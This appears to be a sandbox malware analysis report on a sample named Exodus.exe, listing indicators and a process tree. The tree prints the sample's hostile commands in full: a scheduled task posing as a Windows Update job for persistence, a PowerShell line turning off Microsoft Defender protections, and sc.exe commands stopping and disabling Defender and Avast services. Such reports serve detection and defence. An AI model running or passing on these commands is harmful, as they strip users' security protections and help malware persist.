Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe

Modifies registry class 38 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\MuiCache	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoftwindows.client.cbs	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{751057BA-0868-46CF-8030-D533EFBAA303}	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1738198120-2966725515-3980530802-1000\{FD722FFA-B353-4D4C-93BD-A897E46CC5E7}	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\client.cbs	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "23"	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	StartMenuExperienceHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	StartMenuExperienceHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs\ = "56"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "56"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\MuiCache	StartMenuExperienceHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoftwindows.client.cbs	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "23"	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total	SearchHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs\Total = "23"	SearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.startmenuexperiencehost_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	StartMenuExperienceHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1738198120-2966725515-3980530802-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "56"	SearchHost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5364	schtasks.exe
4380	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2512	powershell.exe
2512	powershell.exe
3396	Exodus.exe
3396	Exodus.exe
4704	powershell.exe
4704	powershell.exe
4704	powershell.exe
1892	powershell.exe
1892	powershell.exe
1892	powershell.exe
3704	powershell.exe
3704	powershell.exe
3704	powershell.exe
3864	powershell.exe
3864	powershell.exe
3864	powershell.exe
5564	powershell.exe
5564	powershell.exe
5564	powershell.exe
4688	powershell.exe
4688	powershell.exe
4688	powershell.exe
5448	powershell.exe
5448	powershell.exe
5448	powershell.exe
3260	powershell.exe
3260	powershell.exe
3260	powershell.exe
1096	wmic.exe
1096	wmic.exe
1096	wmic.exe
1096	wmic.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
2372	powershell.exe
2372	powershell.exe
2372	powershell.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
3928	WindowsUpdateService.exe
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeIncreaseQuotaPrivilege	2512	powershell.exe
Token: SeSecurityPrivilege	2512	powershell.exe
Token: SeTakeOwnershipPrivilege	2512	powershell.exe
Token: SeLoadDriverPrivilege	2512	powershell.exe
Token: SeSystemProfilePrivilege	2512	powershell.exe
Token: SeSystemtimePrivilege	2512	powershell.exe
Token: SeProfSingleProcessPrivilege	2512	powershell.exe
Token: SeIncBasePriorityPrivilege	2512	powershell.exe
Token: SeCreatePagefilePrivilege	2512	powershell.exe
Token: SeBackupPrivilege	2512	powershell.exe
Token: SeRestorePrivilege	2512	powershell.exe
Token: SeShutdownPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeSystemEnvironmentPrivilege	2512	powershell.exe
Token: SeRemoteShutdownPrivilege	2512	powershell.exe
Token: SeUndockPrivilege	2512	powershell.exe
Token: SeManageVolumePrivilege	2512	powershell.exe
Token: 33	2512	powershell.exe
Token: 34	2512	powershell.exe
Token: 35	2512	powershell.exe
Token: 36	2512	powershell.exe
Token: SeDebugPrivilege	3396	Exodus.exe
Token: SeDebugPrivilege	3928	WindowsUpdateService.exe
Token: SeDebugPrivilege	704	WindowsUpdateService.exe
Token: SeDebugPrivilege	4704	powershell.exe
Token: SeDebugPrivilege	1424	taskkill.exe
Token: SeDebugPrivilege	1280	taskkill.exe
Token: SeDebugPrivilege	3288	taskkill.exe
Token: SeDebugPrivilege	4588	taskkill.exe
Token: SeDebugPrivilege	256	taskkill.exe
Token: SeDebugPrivilege	1072	taskkill.exe
Token: SeDebugPrivilege	708	taskkill.exe
Token: SeDebugPrivilege	6048	taskkill.exe
Token: SeDebugPrivilege	2536	taskkill.exe
Token: SeDebugPrivilege	5820	taskkill.exe
Token: SeDebugPrivilege	4168	taskkill.exe
Token: SeDebugPrivilege	5504	taskkill.exe
Token: SeDebugPrivilege	2904	taskkill.exe
Token: SeDebugPrivilege	3680	taskkill.exe
Token: SeDebugPrivilege	4912	taskkill.exe
Token: SeDebugPrivilege	5456	taskkill.exe
Token: SeDebugPrivilege	5004	taskkill.exe
Token: SeDebugPrivilege	2992	taskkill.exe
Token: SeDebugPrivilege	4224	taskkill.exe
Token: SeDebugPrivilege	5140	taskkill.exe
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeIncreaseQuotaPrivilege	1892	powershell.exe
Token: SeSecurityPrivilege	1892	powershell.exe
Token: SeTakeOwnershipPrivilege	1892	powershell.exe
Token: SeLoadDriverPrivilege	1892	powershell.exe
Token: SeSystemProfilePrivilege	1892	powershell.exe
Token: SeSystemtimePrivilege	1892	powershell.exe
Token: SeProfSingleProcessPrivilege	1892	powershell.exe
Token: SeIncBasePriorityPrivilege	1892	powershell.exe
Token: SeCreatePagefilePrivilege	1892	powershell.exe
Token: SeBackupPrivilege	1892	powershell.exe
Token: SeRestorePrivilege	1892	powershell.exe
Token: SeShutdownPrivilege	1892	powershell.exe
Token: SeDebugPrivilege	1892	powershell.exe
Token: SeSystemEnvironmentPrivilege	1892	powershell.exe
Token: SeRemoteShutdownPrivilege	1892	powershell.exe
Token: SeUndockPrivilege	1892	powershell.exe
Token: SeManageVolumePrivilege	1892	powershell.exe

Suspicious use of FindShellTrayWindow 52 IoCs

pid	Process
4272	sihost.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe

Suspicious use of SendNotifyMessage 40 IoCs

pid	Process
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe
4640	explorer.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1688	StartMenuExperienceHost.exe
1348	SearchHost.exe
4640	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5400 wrote to memory of 3396	5400	Exodus.exe	89
PID 3396 wrote to memory of 2512	3396	Exodus.exe	90
PID 3396 wrote to memory of 5364	3396	Exodus.exe	93
PID 3396 wrote to memory of 3392	3396	Exodus.exe	97
PID 3472 wrote to memory of 3928	3472	WindowsUpdateService.exe	98
PID 3392 wrote to memory of 704	3392	WindowsUpdateService.exe	99
PID 3928 wrote to memory of 4712	3928	WindowsUpdateService.exe	101
PID 4712 wrote to memory of 4704	4712	shell_helper.exe	103
PID 4712 wrote to memory of 5636	4712	shell_helper.exe	105
PID 4712 wrote to memory of 5332	4712	shell_helper.exe	107
PID 4712 wrote to memory of 5952	4712	shell_helper.exe	109
PID 4712 wrote to memory of 3448	4712	shell_helper.exe	111
PID 4712 wrote to memory of 5320	4712	shell_helper.exe	113
PID 4712 wrote to memory of 4068	4712	shell_helper.exe	115
PID 4712 wrote to memory of 2756	4712	shell_helper.exe	117
PID 4712 wrote to memory of 3852	4712	shell_helper.exe	119
PID 4712 wrote to memory of 4608	4712	shell_helper.exe	121
PID 4712 wrote to memory of 5936	4712	shell_helper.exe	123
PID 4712 wrote to memory of 1856	4712	shell_helper.exe	125
PID 4712 wrote to memory of 4548	4712	shell_helper.exe	127
PID 4712 wrote to memory of 3148	4712	shell_helper.exe	129
PID 4712 wrote to memory of 552	4712	shell_helper.exe	131
PID 4712 wrote to memory of 3104	4712	shell_helper.exe	133
PID 4712 wrote to memory of 5496	4712	shell_helper.exe	135
PID 4712 wrote to memory of 2616	4712	shell_helper.exe	137
PID 4712 wrote to memory of 2860	4712	shell_helper.exe	139
PID 4712 wrote to memory of 2512	4712	shell_helper.exe	141
PID 4712 wrote to memory of 2780	4712	shell_helper.exe	143
PID 4712 wrote to memory of 3684	4712	shell_helper.exe	145
PID 4712 wrote to memory of 1084	4712	shell_helper.exe	147
PID 4712 wrote to memory of 1644	4712	shell_helper.exe	149
PID 4712 wrote to memory of 2612	4712	shell_helper.exe	151
PID 4712 wrote to memory of 5868	4712	shell_helper.exe	153
PID 4712 wrote to memory of 6004	4712	shell_helper.exe	155
PID 4712 wrote to memory of 2936	4712	shell_helper.exe	157
PID 4712 wrote to memory of 1028	4712	shell_helper.exe	159
PID 4712 wrote to memory of 5464	4712	shell_helper.exe	161
PID 4712 wrote to memory of 4484	4712	shell_helper.exe	163
PID 4712 wrote to memory of 1200	4712	shell_helper.exe	165
PID 4712 wrote to memory of 4360	4712	shell_helper.exe	167
PID 4712 wrote to memory of 3728	4712	shell_helper.exe	169
PID 4712 wrote to memory of 5076	4712	shell_helper.exe	171
PID 4712 wrote to memory of 5968	4712	shell_helper.exe	173
PID 4712 wrote to memory of 3752	4712	shell_helper.exe	175
PID 4712 wrote to memory of 944	4712	shell_helper.exe	177
PID 4712 wrote to memory of 3932	4712	shell_helper.exe	179
PID 4712 wrote to memory of 3496	4712	shell_helper.exe	181
PID 4712 wrote to memory of 2408	4712	shell_helper.exe	183
PID 4712 wrote to memory of 4940	4712	shell_helper.exe	185
PID 4712 wrote to memory of 4464	4712	shell_helper.exe	187
PID 4712 wrote to memory of 5756	4712	shell_helper.exe	189
PID 4712 wrote to memory of 5084	4712	shell_helper.exe	191
PID 4712 wrote to memory of 1096	4712	shell_helper.exe	193
PID 4712 wrote to memory of 52	4712	shell_helper.exe	195
PID 4712 wrote to memory of 6112	4712	shell_helper.exe	197
PID 4712 wrote to memory of 5944	4712	shell_helper.exe	199
PID 4712 wrote to memory of 1004	4712	shell_helper.exe	201
PID 4712 wrote to memory of 3804	4712	shell_helper.exe	203
PID 4712 wrote to memory of 5064	4712	shell_helper.exe	205
PID 4712 wrote to memory of 5060	4712	shell_helper.exe	207
PID 4712 wrote to memory of 1788	4712	shell_helper.exe	209
PID 4712 wrote to memory of 5628	4712	shell_helper.exe	211
PID 4712 wrote to memory of 2088	4712	shell_helper.exe	213
PID 4712 wrote to memory of 2184	4712	shell_helper.exe	215

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\Exodus.exe
"C:\Users\Admin\AppData\Local\Temp\Exodus.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5400
- C:\Users\Admin\AppData\Local\Temp\Exodus.exe
  "C:\Users\Admin\AppData\Local\Temp\Exodus.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -NonInteractive -Command "try { $m = Get-MpComputerStatus -ErrorAction SilentlyContinue; if ($null -eq $m) { 'UNKNOWN'; exit } if ($m.RealTimeProtectionEnabled) { 'ENABLED' } else { 'DISABLED' } } catch { 'UNKNOWN' }"
    3⤵
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2512
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn "Microsoft\Windows\WindowsUpdate\WindowsUpdateCacheRefresh" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5364
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
    C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3392
  - - C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
      C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      PID:704

C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
  C:\Users\Admin\AppData\Local\Microsoft\Windows\ProfileSync\WindowsUpdateService.exe
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Deletes itself
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3928
- - C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\shell_helper.exe
    C:\Users\Admin\AppData\Local\Temp\_MEI34722\app\shell_helper.exe disable_av
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    - Modifies Windows Defender Real-time Protection settings
    - Executes dropped EXE
    - Windows security modification
    - Suspicious use of WriteProcessMemory
    PID:4712
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableOnAccessProtection $true -DisableScanOnRealtimeEnable $true -DisableIOAVProtection $true -DisablePrivacyMode $true -MAPSReporting 0 -SubmitSamplesConsent 2"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4704
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config WinDefend start= disabled
      4⤵
      PID:5636
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop WinDefend
      4⤵
      PID:5332
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config WdNisSvc start= disabled
      4⤵
      Launches sc.exe
      PID:5952
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop WdNisSvc
      4⤵
      PID:3448
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" config Sense start= disabled
      4⤵
      PID:5320
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "avast! Antivirus" start= disabled
      4⤵
      Launches sc.exe
      PID:4068
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "avast! Antivirus"
      4⤵
      Launches sc.exe
      PID:2756
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "Avast Antivirus" start= disabled
      4⤵
      Launches sc.exe
      PID:3852
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "Avast Antivirus"
      4⤵
      Launches sc.exe
      PID:4608
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "avast! Firewall" start= disabled
      4⤵
      Launches sc.exe
      PID:5936
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "avast! Firewall"
      4⤵
      Launches sc.exe
      PID:1856
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" "aswSP" start= disabled
      4⤵
      Launches sc.exe
      PID:4548
  - - C:\Windows\SYSTEM32\sc.exe
      "sc.exe" stop "aswSP"
      4⤵
      Launches sc.exe
      PID:3148
